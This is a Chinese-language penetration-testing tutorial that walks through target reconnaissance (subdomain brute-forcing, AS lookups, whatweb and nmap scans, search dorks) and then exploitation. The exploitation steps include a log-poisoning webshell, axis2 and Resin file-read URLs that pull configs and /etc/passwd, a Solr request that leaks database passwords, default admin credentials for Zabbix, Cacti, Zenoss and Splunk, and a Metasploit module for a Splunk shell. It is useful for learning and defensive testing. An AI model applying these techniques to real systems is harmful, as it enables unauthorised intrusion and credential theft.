0x00 寻找目标
在自己日常检测中以及观察他人检测思路发现前期收集信息具有很关键的作用,很多时候不需要对某种漏洞有很深的研究,如果前期收集了足够多的目标,只需要检测一些常见的高危漏洞即可有收获
常用思路
1.网段信息
1)通过子域名
如果存在域传送这种漏洞是最好的,没有的话一般就要暴破子域名了
我常用的软件为dnsmap,基本用法
./dnsmap target-domain.com -w 你的域名字典 -r 要保存结果文件的绝对路径
针对做了泛解析的域名可以使用-i 需忽略ip来避免误报,如对域名xxx.com的暴破过程中不存在域名都解析到1.1.1.1上,则使用命令为
./dnsmap xxx.com -w domain.txt -i 1.1.1.1 -r /tmp/result.txt
结果为如下格式:
其中默认编译的dnsmap存在一个问题,解决方法与其他使用方法请参考
http://pan.baidu.com/s/1nt5HMw5
大家可以在默认字典的基础上加一些如oa、zabbix、nagios、cacti、erp、sap、crm等等,不少企业都是这种命名方式
渗透的话一般会从oa,mail等重要业务网段寻找目标,如果发现有些管理后台的域名为
xx.admin.xxx.com这种,则可继续扩展,寻找admin.xxx.com下的三级域名
曾检测某站时无意发现一个ntp.nb.xxx.com的域名,进而暴破nb.xxx.com这个域名,结果如下
其中zabbix.nb.xxx.com这个站点暴露到了外网,版本较低,使用zabbix的注入漏洞成功获取权限
同时子域名也可通过搜索引擎语法site:xxx.com收集(不断增加条件,可获取的更多,如inurl,intitle等等)
2)AS号
Jwhois使用方法
yum install -y jwhois
执行
whois -h asn.shadowserver.org origin 1.1.1.1
可获得ip所在企业的AS号
继续执行
whois -h asn.shadowserver.org prefix as号
即可获得该as号对应网段
注:一般只有大企业才会有as号,并且一个企业可能会有多个as号
3)DNS
4)spf记录
如何判断cdn?
如果误把cdn的ip加到目标里会影响一些人工时间,如何判断cdn?最简单的方法是用多地ping功能
2.利用whatweb寻找web入口
使用方法
./whatweb 1.1.1.1/24 --log-brief=output_file(详细使用参考使用说明)
默认的话只识别80端口的,如果此时我们想识别下8080端口,再加上--url-suffix=”:8080”即可
可根据title,cms等信息寻找目标,一般把后台或者存在已知漏洞的系统作为目标,同时可寻找nginx低版本存在解析漏洞的站点,受影响版本为0.5全版本,0.6全版本,0.7<=0.7.65,0.8<=0.8.37
附上一则实例:
在检测某企业时,whatweb批量识别指纹发现存在一台nginx版本比较低且存在解析漏洞的站点,首页为空白页,对目录结构暴破发现.bash_history文件
操作历史中发现有打包文件且放在web目录下
下载打包文件,内容如下
其中发现有log文件,且log文件会记录user-agent信息
使用firefox插件User Agent Switcher更改user-agent信息
一句话代码写入log文件后利用解析漏洞直接获取webshell
3.利用nmap寻找可利用服务
详细用法参考使用手册,个人常用命令为(-P0参数视情况添加,如果没有禁ping可以不加,提升速度)
./nmap -sT -sV 1.1.1.1/24 -P0 -oN /tmp/port_result.txt --open
Ip较少的情况下可以扫全端口以及一些基本信息
./nmap -sT -sV -p 1-65535 1.1.1.1 -P0 -A
利用nmap可以发现一些非80/443/8080这种常见端口上的web以及一些容易出问题的端口如
873(rsync无验证)/21(ftp匿名账户)/11211(memcache无验证)/27017(mongodb无验证)等,碰到不认识的服务别急着放弃,去exploit-db等站点搜一下是否存在已知漏洞吧,说不准直接找到个RCE呢(很多时候我也会在乌云search一下,搜到的话就是实际例子,看着更直白)
4.利用搜索引擎寻找后台或重要系统
常用搜索语法为site:xxx.com inurl:login
Inurl的值可以自由变换,常用的包括admin、manage或者使用intitle:找管理、登录之类的关键字,有些站点出来的结果可能多数为同一站点下的误报,比如博客类的,问问类的,可使用-来减少误报,比如google中搜索site:baidu.com inurl:login -zhidao就可以在结果中去除zhidao相关的结果,百度可输入
site:baidu.com inurl:login -site:zhidao.baidu.com
实例参考:WooYun: 对苏宁易购一次完整的web检测过程(多图)
5.搞一个精简的路径字典
我们可以把容易出问题且危害比较高的常见路径做成一个精简的小字典,针对之前收集的域名去遍历,比如/invoker/JMXInvokerServlet、wwwroot.zip这种,发现的话很大几率可以搞到权限
0x01 利用
这里列出几个常见的系统利用方法
1. 后台
当前面的过程中发现后台或者重要系统时,一般会进行如下几种检测
1)awvs综合扫描(经常有意外发现) 2)目录结构暴破 3)口令暴破(admin不行的时候,不一定是密码不对,很多时候是用户名不对,尝试想到的可获取用户名的一切方法,如翻翻js、css文件,html源码注释内容,或者.svn目录下的信息泄露等,密码可针对系统名称及域名等信息做一些变形加到字典中) 4)Html源码、js等文件获取信息(有些开发者会把一些管理地址以注释形式放到html源码中,管理的接口地址写在js中,运气好的话可以直接越权访问) 5)参数值暴破(一些框架写的后台登陆页面可能是这种格式xx.com/?c=login,日常可以收集一些常见的参数值,如index、main、upload、edit、adduser等、运气好的话可以直接越权操作)
2. axis2
文件包含:
www.xxx.com/axis2/services/listServices查看所有services
www.xxx.com/axis2/services/xxxxx?xsd=../conf/axis2.xmlxxxxx替换任意服务均可,读取axis2配置文件获取后台账户
www.xxx.com/axis2/axis2-admin/登陆管理后台
后台部署文件代码执行:
使用metasploit
Resin
文件读取:
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
也可以通过
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://1.1.1.1
实现SSRF
solr敏感信息泄漏
http://xxx.org:8080/solr/admin/file/?file=solrconfig.xml
搜索xml文件,找到data-import.xml
访问http://xxx.org:8080/solr/admin/file/?file=data-import.xml获取数据库密码
Hudson(jenkins类似)
Zenoss
Google关键字:intitle:"Zenoss Login"
默认口令admin/zenoss
利用方法参考
WooYun: 从一个默认口令到youku和tudou内网(危害较大请尽快修复)
Zabbix
默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php
利用方法参考WooYun: 应用汇zabbix运维不当导致任意命令执行。
另外这个zabbix注入的也很多都存在http://drops.wooyun.org/papers/680
Cacti
默认登陆路径www.xxx.com/cacti/index.php
默认密码admin/admin
利用方法参考WooYun: cacti后台登陆命令执行漏洞
Splunk
默认后台地址:
http://xxx.com:8000/zh-CN/account/login?return_to=%2Fzh-CN%2F
默认账户admin/changeme 默认端口8000
管理器-应用-从文件安装应用处可获得shell
msf有利用模块
exploit/multi/http/splunk_upload_app_exec
0x02 结尾
推荐两篇乌云综合性介绍文章
1.从乌云看运维安全那点事儿